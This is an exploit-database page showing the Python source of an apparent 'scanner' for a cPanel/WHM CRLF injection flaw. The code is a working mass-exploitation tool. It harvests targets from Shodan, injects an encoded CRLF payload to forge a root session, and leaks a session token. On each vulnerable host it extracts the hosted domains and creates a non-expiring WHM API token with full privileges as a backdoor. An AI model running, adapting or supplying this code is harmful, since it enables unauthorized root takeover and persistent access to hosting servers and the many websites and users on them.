Exploit databaseDownload repository ZIP
GH-8f2a104fc73d115cb589bb8dca9ad2f5
merdw/cpanel-cve-2026-41940-scanner
Sources for CVE-2026-41940
51 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
merdw/cpanel-cve-2026-41940-scannerRevision 7a2c57770164
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
main.py
Suggested starting filePython · 23,048 bytesimport os
import re
import json
import sqlite3
import logging
import requests
import urllib3
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
# Initialize Colorama for colored output
init(autoreset=True)
# Disable SSL warnings for mass scanning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Payload from PoC (CVE-2026-41940 CRLF Injection)
PAYLOAD_B64 = (
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
"OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)
class CPanelScanner:
def __init__(self, config_path='config.json'):
self.load_config(config_path)
self.setup_logging()
self.init_db()
self.success_file = 'success.txt'
def load_config(self, path):
if not os.path.exists(path):
print(f"{Fore.RED}[!] Config file not found: {path}")
# Create a default one if it doesn't exist
default_config = {
"shodan_api_key": "YOUR_SHODAN_API_KEY",
"threads": 50,
"timeout": 15
}
with open(path, 'w') as f:
json.dump(default_config, f, indent=4)
print(f"{Fore.YELLOW}[*] Created default config.json. Please add your Shodan API key.")
exit(1)
with open(path, 'r') as f:
self.config = json.load(f)
self.api_key = self.config.get('shodan_api_key')
self.threads = self.config.get('threads', 50)
self.timeout = self.config.get('timeout', 15)
self.start_page = self.config.get('shodan_start_page', 1)
def setup_logging(self):
# Configure logging to both file and console
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(message)s',
handlers=[
logging.FileHandler("scanner.log"),
logging.StreamHandler()
]
)
self.logger = logging.getLogger(__name__)
def init_db(self):
# Initialize SQLite for target deduplication and pending queue
conn = sqlite3.connect('scanner.db')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS scanned_targets (
target TEXT PRIMARY KEY
)
''')
cursor.execute('''
CREATE TABLE IF NOT EXISTS pending_targets (
target TEXT PRIMARY KEY
)
''')
conn.commit()
conn.close()
def is_scanned(self, target, cursor):
cursor.execute('SELECT 1 FROM scanned_targets WHERE target = ?', (target,))
return cursor.fetchone() is not None
def mark_scanned(self, target, cursor, conn):
try:
cursor.execute('INSERT INTO scanned_targets (target) VALUES (?)', (target,))
conn.commit()
except sqlite3.IntegrityError:
pass
def fetch_shodan_targets(self):
if not self.api_key or self.api_key == "YOUR_SHODAN_API_KEY":
self.logger.error(f"{Fore.RED}Shodan API key is missing in config.json!")
return 0
# Use ports and pages from config
ports = self.config.get('scan_ports', [2083, 2087, 2096])
start_page = self.config.get('shodan_start_page', 1)
max_pages = self.config.get('shodan_pages', 2)
conn = sqlite3.connect('scanner.db')
cursor = conn.cursor()
total_added = 0
for port in ports:
country = self.config.get('shodan_country', '')
query = f'port:{port}'
if country:
query += f' country:"{country}"'
end_page = start_page + max_pages
self.logger.info(f"{Fore.CYAN}[*] Querying Shodan for: {query} (Pages {start_page} to {end_page-1})...")
for page in range(start_page, end_page):
try:
url = f"https://api.shodan.io/shodan/host/search?key={self.api_key}&query={urllib.parse.quote(query)}&page={page}"
response = requests.get(url, timeout=30)
if response.status_code == 200:
data = response.json()
matches = data.get('matches', [])
if not matches:
self.logger.info(f"{Fore.YELLOW}[!] Port {port} Page {page} is empty. No more results.")
break
count = 0
for match in matches:
ip = match.get('ip_str')
banner = match.get('data', '').lower()
if "cloudflare" in banner: continue
if "400 the plain http" in banner: continue
if "400 bad request" in banner: continue
target = f"{ip}:{port}"
# Check if already scanned or already in pending
cursor.execute('SELECT 1 FROM scanned_targets WHERE target = ?', (target,))
if cursor.fetchone(): continue
try:
cursor.execute('INSERT OR IGNORE INTO pending_targets (target) VALUES (?)', (target,))
count += 1
total_added += 1
except: continue
conn.commit()
self.logger.info(f"{Fore.BLUE}[*] Port {port} Page {page}: Added {count} new targets to pending list")
elif response.status_code == 401:
self.logger.error(f"{Fore.RED}[!] Shodan API Key Error or Credit Limit Reached (Page {page})")
break
elif response.status_code == 400:
self.logger.error(f"{Fore.RED}[!] Shodan Page Limit Reached or Invalid Page ({page}).")
break
else:
error_msg = response.json().get('error', response.text) if response.content else "Unknown Error"
self.logger.error(f"{Fore.RED}Shodan API Error (Page {page}): {response.status_code} - {error_msg}")
break
except Exception as e:
self.logger.error(f"{Fore.RED}Error fetching from Shodan (Page {page}): {e}")
break
conn.close()
self.logger.info(f"{Fore.GREEN}[*] Shodan fetch complete. Total new targets added to queue: {total_added}")
return total_added
def http_request(self, session, method, scheme, host, port, canonical, path, **kwargs):
headers = kwargs.pop("headers", {})
timeout_val = kwargs.pop("timeout", self.timeout)
headers.setdefault("Host", f"{canonical}:{port}")
headers.setdefault("Connection", "close")
headers.setdefault("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
url = f"{scheme}://{host}:{port}{path}"
return session.request(
method,
url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=timeout_val,
**kwargs
)
def discover_canonical_host(self, scheme, host, port):
try:
r = requests.get(
f"{scheme}://{host}:{port}/openid_connect/cpanelid",
verify=False,
allow_redirects=False,
headers={"Connection": "close"},
timeout=self.timeout,
)
loc = r.headers.get("Location", "")
m = re.match(r"^https?://([^:/]+)", loc)
if m:
return m.group(1)
except:
pass
return host
def check_vulnerability(self, target):
# Create a thread-local database connection
conn = sqlite3.connect('scanner.db', timeout=30)
cursor = conn.cursor()
try:
if self.is_scanned(target, cursor):
self.logger.info(f"{Fore.WHITE}[-] Skipping (Already scanned): {target}")
return
self.mark_scanned(target, cursor, conn)
host, port = target.split(':')
scheme = "https"
self.logger.info(f"{Fore.CYAN}[*] Starting scan for: {target}")
# Step 0: Discovery
canonical = self.discover_canonical_host(scheme, host, port)
self.logger.info(f" [0] Canonical host: {canonical}")
session = requests.Session()
# Stage 1: Pre-auth session minting
self.logger.info(" [1] Minting pre-auth session...")
r1 = self.http_request(session, "POST", scheme, host, port, canonical,
"/login/?login_only=1",
data={"user": "root", "pass": "wrong"})
cookie_value = None
set_cookie = r1.headers.get('Set-Cookie', '')
if 'whostmgrsession=' in set_cookie:
m = re.search(r"whostmgrsession=([^;]+)", set_cookie)
if m:
cookie_value = urllib.parse.unquote(m.group(1))
if not cookie_value:
self.logger.info(f"{Fore.YELLOW} [!] Stage 1 failed: No whostmgrsession cookie returned.")
return
session_base = cookie_value.split(",", 1)[0] if "," in cookie_value else cookie_value
self.logger.info(f" [1] Session base: {session_base}")
# Stage 2: CRLF Injection & Token Leakage
self.logger.info(" [2] Injecting CRLF & Leaking token...")
cookie_enc = urllib.parse.quote(session_base)
r2 = self.http_request(session, "GET", scheme, host, port, canonical, "/",
headers={
"Authorization": f"Basic {PAYLOAD_B64}",
"Cookie": f"whostmgrsession={cookie_enc}",
})
loc = r2.headers.get("Location", "")
token_match = re.search(r"/cpsess\d{10}", loc)
if not token_match:
self.logger.info(f"{Fore.YELLOW} [!] Stage 2 failed: No cpsess token found in redirect.")
return
token = token_match.group(0)
self.logger.info(f" [2] Leaked token: {token}")
# Stage 3: Propagation
self.logger.info(" [3] Triggering cache propagation...")
self.http_request(session, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Stage 4: Verification via listaccts
self.logger.info(" [4] Verifying root access via listaccts...")
r4 = self.http_request(session, "GET", scheme, host, port, canonical,
f"{token}/scripts4/listaccts",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
body = (r4.text or "").strip()
is_vulnerable = False
if r4.status_code == 200:
if 'window.COMMON.hasRootPrivileges = true' in body and 'window.COMMON.userName = "root"' in body:
is_vulnerable = True
self.logger.info(f"{Fore.GREEN} [+] Root access verified via listaccts!")
elif 'window.COMMON.hasRootPrivileges = true' in body:
is_vulnerable = True
self.logger.info(f"{Fore.GREEN} [+] Privilege access verified!")
elif r4.status_code in (500, 503) and "License" in body:
is_vulnerable = True
self.logger.info(f"{Fore.YELLOW} [!] Vulnerable, but license file issue detected.")
if is_vulnerable:
# Extract and clean domains from listaccts page
extracted_domains = re.findall(r'"domain"\s*:\s*"([^"]+)"', body)
if not extracted_domains:
extracted_domains = re.findall(r'<td><a href=[^>]+>([^<]+)</a></td>', body)
# Clean up HTML entities like and strip whitespace
import html
unique_domains = sorted(list(set([html.unescape(d).replace(" ", "").strip() for d in extracted_domains if d.strip()])))
domain_list_str = ", ".join(unique_domains) if unique_domains else "No domains found"
self.logger.info(f"{Fore.GREEN}[!] VULNERABLE: {target} | Token: {token}")
if unique_domains:
self.logger.info(f"{Fore.CYAN} [+] Extracted {len(unique_domains)} domains from WHM!")
# Write to files immediately
with open("successwhm.txt", 'a') as f:
f.write(f"TARGET: {target}\nDOMAINS: {domain_list_str}\n{'-'*50}\n")
with open(self.success_file, 'a') as f:
f.write(f"{target} | Domains: [{domain_list_str}]\n")
# NOW try to create API token
api_token = self.create_whm_token(session, scheme, host, port, canonical, session_base, token)
if api_token:
self.logger.info(f"{Fore.GREEN}[+++] SUCCESS! API TOKEN: {api_token}")
with open("successwhm.txt", 'a') as f:
f.write(f"UPDATE for {target} -> API_TOKEN: {api_token}\n{'-'*50}\n")
else:
self.logger.info(f"{Fore.RED} [!] Vulnerable but failed to create API token.")
else:
self.logger.info(f"{Fore.YELLOW}[-] Verification failed (HTTP {r4.status_code}): {target}")
except requests.exceptions.Timeout:
self.logger.debug(f"Timeout: {target}")
except requests.exceptions.SSLError:
self.logger.debug(f"SSL Error: {target}")
except requests.exceptions.RequestException as e:
self.logger.debug(f"Request error {target}: {e}")
except Exception as e:
self.logger.error(f"{Fore.RED}[!] Unexpected error scanning {target}: {e}")
finally:
# Move from pending to scanned
try:
cursor.execute('DELETE FROM pending_targets WHERE target = ?', (target,))
cursor.execute('INSERT OR IGNORE INTO scanned_targets (target) VALUES (?)', (target,))
conn.commit()
except:
pass
conn.close()
def create_whm_token(self, session, scheme, host, port, canonical, session_base, token, retry=True):
self.logger.info(f"[*] Attempting to create WHM API token for {host}...")
path = f"{token}/json-api/api_token_create"
# Initial full ACL list
acls = [
"add-pkg-shell", "allow-addoncreate", "ssl-buy", "digest-auth", "park-dns",
"cpanel-integration", "edit-mx", "show-bandwidth", "create-dns", "add-pkg-ip",
"clustering", "restart", "upgrade-account", "ssl", "news", "cors-proxy-get",
"thirdparty", "software-JetBackup5", "quota", "software-ConfigServer-csf",
"list-accts", "manage-styles", "allow-parkedcreate", "basic-system-info",
"passwd", "edit-pkg", "resftp", "add-pkg", "cpanel-api", "list-pkgs",
"manage-dns-records", "manage-oidc", "kill-dns", "connected-applications",
"wp-toolkit", "public-contact", "status", "manage-api-tokens", "viewglobalpackages",
"mailcheck", "locale-edit", "allow-unlimited-bw-pkgs", "generate-email-config",
"limit-bandwidth", "kill-acct", "file-restore", "suspend-acct", "acct-summary",
"allow-unlimited-pkgs", "allow-shell", "stats", "mysql-info", "rearrange-accts",
"software-imunify360", "track-email", "allow-emaillimits-pkgs", "demo-setup",
"ssl-info", "allow-unlimited-disk-pkgs", "create-acct",
"assign-root-account-enhancements", "ssl-gencrt", "basic-whm-functions",
"edit-dns", "ns-config", "create-user-session", "edit-account", "all"
]
def build_payload(acl_list):
p = {"token_name": "whm-cpanel-autogen", "expires_at": "0", "api.version": "1"}
for i, acl in enumerate(acl_list):
p[f"acl-{i}"] = acl
return p
headers = {
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Referer": f"{scheme}://{host}:{port}/",
"Accept": "*/*",
"Cookie": f"whostmgrsession={urllib.parse.quote(session_base)}"
}
try:
r = self.http_request(session, "POST", scheme, host, port, canonical, path,
data=build_payload(acls), headers=headers, timeout=60)
if r.status_code == 200:
resp_json = r.json()
if resp_json.get('metadata', {}).get('result') == 1:
return resp_json.get('data', {}).get('token')
reason = resp_json.get('metadata', {}).get('reason', '')
if "Invalid or unauthorized ACLs" in reason and retry:
self.logger.info(f"{Fore.YELLOW} [!] ACL Error, retrying with minimal 'all' permissions...")
# Try again with just 'all' which is the master permission
r = self.http_request(session, "POST", scheme, host, port, canonical, path,
data=build_payload(["all"]), headers=headers, timeout=60)
if r.status_code == 200:
resp_json = r.json()
if resp_json.get('metadata', {}).get('result') == 1:
return resp_json.get('data', {}).get('token')
self.logger.info(f"{Fore.RED} [!] Token creation failed: {reason}")
else:
self.logger.info(f"{Fore.RED} [!] Token creation failed (HTTP {r.status_code})")
if "Cannot Read License File" in r.text:
self.logger.info(f"{Fore.RED} [!] Error: License issue on target.")
except Exception as e:
self.logger.info(f"{Fore.RED} [!] Error during token creation: {e}")
return None
def run(self):
while True:
print(f"\n{Fore.MAGENTA}{'='*60}")
print(f"{Fore.MAGENTA} cPanel CRLF Injection & WHM Token Creator")
print(f"{Fore.MAGENTA}{'='*60}")
print(f"{Fore.CYAN}1. Shodan Mode (Auto-discovery)")
print(f"{Fore.CYAN}2. Manual Mode (Single Target)")
print(f"{Fore.RED}0. Exit")
choice = input(f"\n{Fore.YELLOW}Select option: ").strip()
if choice == '1':
self.start_shodan_scan()
elif choice == '2':
self.start_manual_scan()
elif choice == '0':
break
else:
print(f"{Fore.RED}[!] Invalid choice.")
def start_shodan_scan(self):
# 1. Check if we have pending targets in DB
conn = sqlite3.connect('scanner.db')
cursor = conn.cursor()
cursor.execute('SELECT target FROM pending_targets')
pending = [row[0] for row in cursor.fetchall()]
conn.close()
if pending:
self.logger.info(f"{Fore.GREEN}[*] Found {len(pending)} pending targets in database. Processing queue first...")
self.execute_scan(pending)
# Re-check after processing
conn = sqlite3.connect('scanner.db')
cursor = conn.cursor()
cursor.execute('SELECT COUNT(*) FROM pending_targets')
remaining = cursor.fetchone()[0]
conn.close()
if remaining > 0:
self.logger.info(f"{Fore.YELLOW}[*] Queue still has items. Complete them before fetching more.")
return
# 2. If queue is empty, fetch more from Shodan
self.logger.info(f"{Fore.CYAN}[*] Queue is empty. Fetching new targets from Shodan...")
added_count = self.fetch_shodan_targets()
if added_count > 0:
# Re-fetch from DB to get the new pending list
conn = sqlite3.connect('scanner.db')
cursor = conn.cursor()
cursor.execute('SELECT target FROM pending_targets')
new_pending = [row[0] for row in cursor.fetchall()]
conn.close()
self.logger.info(f"{Fore.CYAN}[*] Starting ThreadPoolExecutor with {self.threads} threads for {len(new_pending)} targets...")
self.execute_scan(new_pending)
else:
self.logger.info(f"{Fore.YELLOW}No new targets found on Shodan.")
def start_manual_scan(self):
target_input = input(f"{Fore.YELLOW}Enter target (e.g., 1.2.3.4:2087 or https://site.com:2083): ").strip()
if not target_input:
return
# Basic cleanup of input
if "://" in target_input:
parsed = urllib.parse.urlsplit(target_input)
host = parsed.hostname
port = parsed.port or (2087 if "2087" in target_input else 2083)
target = f"{host}:{port}"
else:
target = target_input
self.logger.info(f"{Fore.CYAN}[*] Starting manual scan for: {target}")
self.check_vulnerability(target)
def execute_scan(self, targets):
with ThreadPoolExecutor(max_workers=self.threads) as executor:
try:
future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets}
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
future.result()
except Exception as exc:
self.logger.error(f"{Fore.RED}[!] {target} exception: {exc}")
except KeyboardInterrupt:
self.logger.info(f"{Fore.RED}[!] Termination signal received.")
executor.shutdown(wait=False)
self.logger.info(f"{Fore.GREEN}[*] Batch scan completed.")
if __name__ == "__main__":
scanner = CPanelScanner()
scanner.run()